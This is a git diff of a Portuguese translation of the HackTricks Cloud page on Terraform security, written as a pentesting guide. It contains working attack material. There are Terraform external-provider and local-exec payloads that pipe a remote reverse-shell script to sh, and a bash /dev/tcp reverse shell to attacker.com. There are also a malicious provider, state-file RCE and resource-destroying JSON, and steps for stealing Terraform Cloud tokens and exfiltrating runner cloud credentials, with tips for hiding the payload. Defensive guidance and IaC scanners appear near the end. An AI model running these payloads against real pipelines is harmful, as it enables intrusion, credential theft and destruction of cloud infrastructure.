mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to pt
This commit is contained in:
Translator
@@ -1,60 +1,60 @@
|
||||
# Segurança do Terraform
|
||||
# Terraform Segurança
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos documentos:](https://developer.hashicorp.com/terraform/intro)
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.
|
||||
HashiCorp Terraform é uma ferramenta de **infrastructure as code** que permite definir tanto **recursos cloud quanto on-prem** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo do seu ciclo de vida. Terraform pode gerenciar componentes de baixo nível como compute, storage e recursos de networking, bem como componentes de alto nível como entradas DNS e funcionalidades de SaaS.
|
||||
|
||||
#### Como o Terraform funciona?
|
||||
|
||||
O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços por meio de suas interfaces de programação de aplicativos (APIs). Os provedores permitem que o Terraform funcione com praticamente qualquer plataforma ou serviço com uma API acessível.
|
||||
Terraform cria e gerencia recursos em plataformas cloud e outros serviços através de suas application programming interfaces (APIs). Providers permitem que o Terraform trabalhe com virtualmente qualquer plataforma ou serviço com uma API acessível.
|
||||
|
||||
.png>)
|
||||
|
||||
A HashiCorp e a comunidade do Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais.
|
||||
HashiCorp e a comunidade Terraform já escreveram **mais de 1700 providers** para gerenciar milhares de diferentes tipos de recursos e serviços, e esse número continua crescendo. Você pode encontrar todos os providers publicamente disponíveis no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e muitos outros.
|
||||
|
||||
O fluxo de trabalho central do Terraform consiste em três etapas:
|
||||
O fluxo de trabalho core do Terraform consiste em três estágios:
|
||||
|
||||
- **Escrever:** Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
|
||||
- **Planejar:** O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.
|
||||
- **Aplicar:** Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais.
|
||||
- **Write:** Você define recursos, que podem estar em múltiplos cloud providers e serviços. Por exemplo, você pode criar uma configuração para deployar uma aplicação em máquinas virtuais em uma Virtual Private Cloud (VPC) com security groups e um load balancer.
|
||||
- **Plan:** Terraform cria um execution plan descrevendo a infraestrutura que será criada, atualizada ou destruída com base na infraestrutura existente e na sua configuração.
|
||||
- **Apply:** Mediante aprovação, Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências entre recursos. Por exemplo, se você atualizar as propriedades de uma VPC e alterar o número de máquinas virtuais nessa VPC, Terraform recriará a VPC antes de escalar as máquinas virtuais.
|
||||
|
||||
.png>)
|
||||
|
||||
### Laboratório Terraform
|
||||
### Terraform Lab
|
||||
|
||||
Basta instalar o terraform no seu computador.
|
||||
Basta instalar terraform no seu computador.
|
||||
|
||||
Aqui você tem um [guia](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [melhor maneira de baixar o terraform](https://www.terraform.io/downloads).
|
||||
Aqui você tem um [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE no Terraform: envenenamento de arquivo de configuração
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
O Terraform **não possui uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo).
|
||||
Terraform **não expõe uma plataforma com página web ou um serviço de rede** que possamos enumerar, portanto, a única forma de comprometer terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o terraform state file** (veja capítulo abaixo).
|
||||
|
||||
No entanto, o terraform é um **componente muito sensível** a comprometer porque terá **acesso privilegiado** a diferentes locais para que possa funcionar corretamente.
|
||||
No entanto, terraform é um **componente muito sensível** para comprometer porque ele terá **acesso privilegiado** a diferentes locais para poder funcionar corretamente.
|
||||
|
||||
A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**.
|
||||
A forma principal de um atacante comprometer o sistema onde o terraform está rodando é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas vão ser **interpretadas**.
|
||||
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como o **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Se você conseguir comprometer um arquivo terraform, existem diferentes maneiras de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`.
|
||||
Se você for capaz de comprometer um arquivo terraform existem diferentes formas de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
O terraform plan é o **comando mais utilizado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de obter RCE** é garantir que você envenene um arquivo de configuração do terraform que executará comandos arbitrários em um `terraform plan`.
|
||||
Terraform plan é o **comando mais usado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de conseguir RCE** é garantir que você envenene um arquivo de configuração terraform que irá executar comandos arbitrários em um `terraform plan`.
|
||||
|
||||
**Usando um provedor externo**
|
||||
**Using an external provider**
|
||||
|
||||
O Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma maneira de interagir entre o Terraform e programas externos. Você pode usar a fonte de dados `external` para executar código arbitrário durante um `plan`.
|
||||
Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma forma de interface entre Terraform e programas externos. Você pode usar a data source `external` para executar código arbitrário durante um `plan`.
|
||||
|
||||
Injetar em um arquivo de configuração do terraform algo como o seguinte executará um rev shell ao executar `terraform plan`:
|
||||
Injectar em um arquivo de configuração terraform algo como o seguinte irá executar um rev shell quando for executado `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
|
||||
```
|
||||
**Usando um provedor personalizado**
|
||||
|
||||
Um atacante poderia enviar um [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em um branch de recurso ([exemplo daqui](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Um atacante poderia enviar um [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em uma feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,15 +75,15 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado.
|
||||
O provider é baixado no `init` e executará o código malicioso quando `plan` for executado
|
||||
|
||||
Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Usando uma referência externa**
|
||||
|
||||
Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
|
||||
Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, porém mais complexa que a primeira). Você pode realizar este ataque de forma ainda mais **discreta**, seguindo estas sugestões:
|
||||
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contenha o rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
@@ -91,11 +91,11 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- No recurso externo, use a funcionalidade **ref** para esconder o **terraform rev shell code in a branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
O Terraform apply será executado para aplicar todas as mudanças, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Terraform apply será executado para aplicar todas as alterações, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de uma **maneira mais furtiva usando referências externas**.
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de forma **mais furtiva usando referências externas**.
|
||||
|
||||
## Dumps de Segredos
|
||||
|
||||
Você pode ter **valores secretos usados pelo terraform despejados** executando `terraform apply` ao adicionar ao arquivo terraform algo como:
|
||||
Você pode fazer com que os **valores secretos usados pelo terraform sejam extraídos** ao executar `terraform apply` adicionando ao arquivo terraform algo como:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Abusando de Arquivos de Estado do Terraform
|
||||
## Abusando dos state files do Terraform
|
||||
|
||||
Caso você tenha acesso de escrita sobre os arquivos de estado do terraform, mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferece algumas opções interessantes para aproveitar o arquivo. Mesmo que você tenha acesso de escrita sobre os arquivos de configuração, usar o vetor de arquivos de estado é muitas vezes muito mais sorrateiro, já que você não deixa rastros no histórico do `git`.
|
||||
Caso você tenha acesso de escrita aos terraform state files mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) apresenta algumas opções interessantes para tirar proveito do arquivo. Mesmo que você tivesse acesso de escrita aos arquivos de configuração, usar o vetor dos state files costuma ser muito mais sorrateiro, já que você não deixa rastros no histórico do `git`.
|
||||
|
||||
### RCE no Terraform: envenenamento de arquivo de configuração
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
É possível [criar um provedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos provedores no arquivo de estado do terraform pelo malicioso ou adicionar um recurso falso referenciando o provedor malicioso.
|
||||
É possível [criar um provider customizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos providers no terraform state file pelo malicioso ou adicionar um recurso falso referenciando o provider malicioso.
|
||||
|
||||
O provedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se baseia na pesquisa e arma esse princípio. Você pode adicionar um recurso falso e declarar o comando bash arbitrário que deseja executar no atributo `command`. Quando a execução do `terraform` é acionada, isso será lido e executado tanto nos passos `terraform plan` quanto `terraform apply`. No caso do passo `terraform apply`, o `terraform` irá deletar o recurso falso do arquivo de estado após executar seu comando, limpando após si mesmo. Mais informações e uma demonstração completa podem ser encontradas no [repositório do GitHub que hospeda o código-fonte para este provedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
O provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) baseia-se na pesquisa e weaponiza esse princípio. Você pode adicionar um recurso falso e colocar o comando bash arbitrário que deseja executar no atributo `command`. Quando a execução do `terraform` for acionada, isso será lido e executado tanto no `terraform plan` quanto no `terraform apply`. No caso do passo `terraform apply`, o `terraform` vai apagar o recurso falso do state file após executar seu comando, limpando os rastros. Mais informações e uma demo completa podem ser encontradas no [repositório GitHub que hospeda o código fonte deste provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array `resources` e personalizar os atributos `name` e `command`:
|
||||
Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array `resources` e customizar os atributos `name` e `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -154,13 +154,13 @@ Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do arra
|
||||
```
|
||||
Então, assim que `terraform` for executado, seu código será executado.
|
||||
|
||||
### Deletando recursos <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
### Removendo recursos <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Existem 2 maneiras de destruir recursos:
|
||||
|
||||
1. **Inserir um recurso com um nome aleatório no arquivo de estado apontando para o recurso real a ser destruído**
|
||||
1. **Inserir um recurso com um nome aleatório no arquivo state apontando para o recurso real a ser destruído**
|
||||
|
||||
Porque o terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:
|
||||
Porque terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)**
|
||||
2. **Modificar o recurso para forçar sua exclusão de forma que não seja possível atualizá-lo (assim ele será excluído e recriado)**
|
||||
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluí-la e recriá-la.
|
||||
|
||||
### Substituir provedor na lista negra
|
||||
### Substituir provedor bloqueado
|
||||
|
||||
Caso você encontre uma situação onde `hashicorp/external` foi colocado na lista negra, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou reimplementação.
|
||||
Caso você encontre uma situação em que `hashicorp/external` foi bloqueado, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado em https://registry.terraform.io/providers/nazarewk/external/latest. Você pode publicar seu próprio fork ou reimplementação também.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -193,27 +193,27 @@ version = "3.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
Então você pode usar `external` como de costume.
|
||||
Então você pode usar `external` normalmente.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE e exfiltração de credenciais
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Este cenário explora os runners do Terraform Cloud (TFC) durante planos especulativos para pivotar na conta de nuvem alvo.
|
||||
Este cenário abusa dos runners do Terraform Cloud (TFC) durante speculative plans para pivot into the target cloud account.
|
||||
|
||||
- Pré-condições:
|
||||
- Roubar um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em texto simples em `~/.terraform.d/credentials.tfrc.json`.
|
||||
- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces suportados por VCS bloqueiam `apply` do CLI, mas ainda permitem planos especulativos.
|
||||
- Roube um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em plaintext em `~/.terraform.d/credentials.tfrc.json`.
|
||||
- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces com VCS bloqueiam `apply` via CLI, mas ainda permitem speculative plans.
|
||||
|
||||
- Descobrir configurações de workspace e VCS via a API do TFC:
|
||||
- Descubra configurações de workspace e VCS via a API do TFC:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Acionar a execução de código durante um plano especulativo usando a fonte de dados externa e o bloco "cloud" do Terraform Cloud para direcionar o workspace baseado em VCS:
|
||||
- Acionar code execution durante um speculative plan usando o external data source e o Terraform Cloud "cloud" block para direcionar o VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +226,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Exemplo de rsync.sh para obter um shell reverso no runner TFC:
|
||||
Exemplo rsync.sh para obter um reverse shell no TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Execute um plano especulativo para executar o programa no runner efêmero:
|
||||
Execute um plano especulativo para rodar o programa no runner efêmero:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Enumere e exfiltre credenciais de nuvem injetadas do runner. Durante as execuções, o TFC injeta credenciais de provedor por meio de arquivos e variáveis de ambiente:
|
||||
- Enumerar e exfiltrar credenciais de cloud injetadas no runner. Durante as execuções, o TFC injeta credenciais do provider via arquivos e variáveis de ambiente:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Arquivos esperados no diretório de trabalho do runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (configuração JSON de Federação de Identidade de Carga de Trabalho)
|
||||
- `tfc-google-application-credentials` (config JSON do Workload Identity Federation)
|
||||
- `tfc-gcp-token` (token de acesso GCP de curta duração)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (configuração de suposição de função de identidade web/OIDC)
|
||||
- `tfc-aws-token` (token de curta duração; algumas organizações podem usar chaves estáticas)
|
||||
- `tfc-aws-shared-config` (config de web identity/OIDC para assunção de role)
|
||||
- `tfc-aws-token` (token de curta duração; algumas orgs podem usar chaves estáticas)
|
||||
|
||||
- Use as credenciais de curta duração fora de banda para contornar os portões do VCS:
|
||||
- Use as credenciais de curta duração fora de banda para contornar os gates do VCS:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,26 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Com essas credenciais, os atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativas, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
|
||||
Com essas credenciais, atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativos, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
|
||||
|
||||
- Orientações defensivas:
|
||||
- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite as associações e evite proprietários excessivos.
|
||||
- Restringa a permissão de `plan` em workspaces sensíveis suportados por VCS, quando viável.
|
||||
- Aplique listas de permissão de provedores/fontes de dados com políticas do Sentinel para bloquear `data "external"` ou provedores desconhecidos. Veja a orientação da HashiCorp sobre filtragem de provedores.
|
||||
- Prefira OIDC/WIF em vez de credenciais de nuvem estáticas; trate runners como sensíveis. Monitore execuções de planos especulativos e egressos inesperados.
|
||||
- Detecte a exfiltração de artefatos de credenciais `tfc-*` e alerte sobre o uso suspeito de programas `external` durante os planos.
|
||||
- Orientação defensiva:
|
||||
- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite associações e evite proprietários com privilégios excessivos.
|
||||
- Restrinja a permissão `plan` em workspaces sensíveis vinculados ao VCS quando possível.
|
||||
- Imponha allowlists de provider/data source com políticas Sentinel para bloquear `data "external"` ou providers desconhecidos. Veja a orientação da HashiCorp sobre provider filtering.
|
||||
- Prefira OIDC/WIF em vez de credenciais estáticas de cloud; trate runners como sensíveis. Monitore execuções especulativas de plan e tráfego de saída inesperado.
|
||||
- Detecte exfiltração de artefatos de credenciais `tfc-*` e alerte sobre uso suspeito do programa `external` durante execuções de plan.
|
||||
|
||||
## Ferramentas de Auditoria Automática
|
||||
|
||||
## Comprometendo Terraform Cloud
|
||||
|
||||
### Usando um token
|
||||
|
||||
Como **[explicado neste post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, o terraform CLI armazena tokens em texto plano em **`~/.terraform.d/credentials.tfrc.json`**. Roubar esse token permite que um atacante se faça passar pelo usuário dentro do escopo do token.
|
||||
|
||||
Usando esse token, é possível obter a org/workspace com:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Então é possível executar código arbitrário usando **`terraform plan`** conforme explicado no capítulo anterior.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Então, se o runner estiver localizado em algum ambiente de cloud, é possível obter um token do principal associado ao runner e usá-lo fora de banda.
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes e outros formatos de IaC.
|
||||
A Snyk oferece uma solução abrangente de scanning de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes, e outros formatos IaC.
|
||||
|
||||
- **Recursos:**
|
||||
- Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
|
||||
- Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
|
||||
- Pull requests de correção automatizadas.
|
||||
- Conselhos detalhados de remediação.
|
||||
- Pull requests automatizados de correção.
|
||||
- Orientação detalhada de remediação.
|
||||
- **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
@@ -292,28 +320,28 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto.
|
||||
**Checkov** é uma ferramenta de análise estática de código para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes open source.
|
||||
|
||||
Ela escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
|
||||
Ele analisa infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) e detecta misconfigurações de segurança e conformidade usando varredura baseada em grafo.
|
||||
|
||||
Ela realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes e imagens de código aberto para Vulnerabilidades e Exposições Comuns (CVEs).
|
||||
Ele executa [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma verificação de pacotes open source e imagens em busca de Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de teste leve, focado em segurança e conformidade, contra terraform para habilitar a capacidade de teste negativo para sua infraestrutura como código.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de testes leve, focado em security e compliance, para terraform, que permite a capacidade de negative testing para sua infraestrutura como código.
|
||||
|
||||
- **conformidade:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
|
||||
- **desenvolvimento orientado a comportamento:** Temos BDD para quase tudo, por que não para IaC?
|
||||
- **portátil:** basta instalá-lo via `pip` ou executá-lo através do `docker`. Veja [Instalação](https://terraform-compliance.com/pages/installation/)
|
||||
- **pré-implantação:** valida seu código antes de ser implantado
|
||||
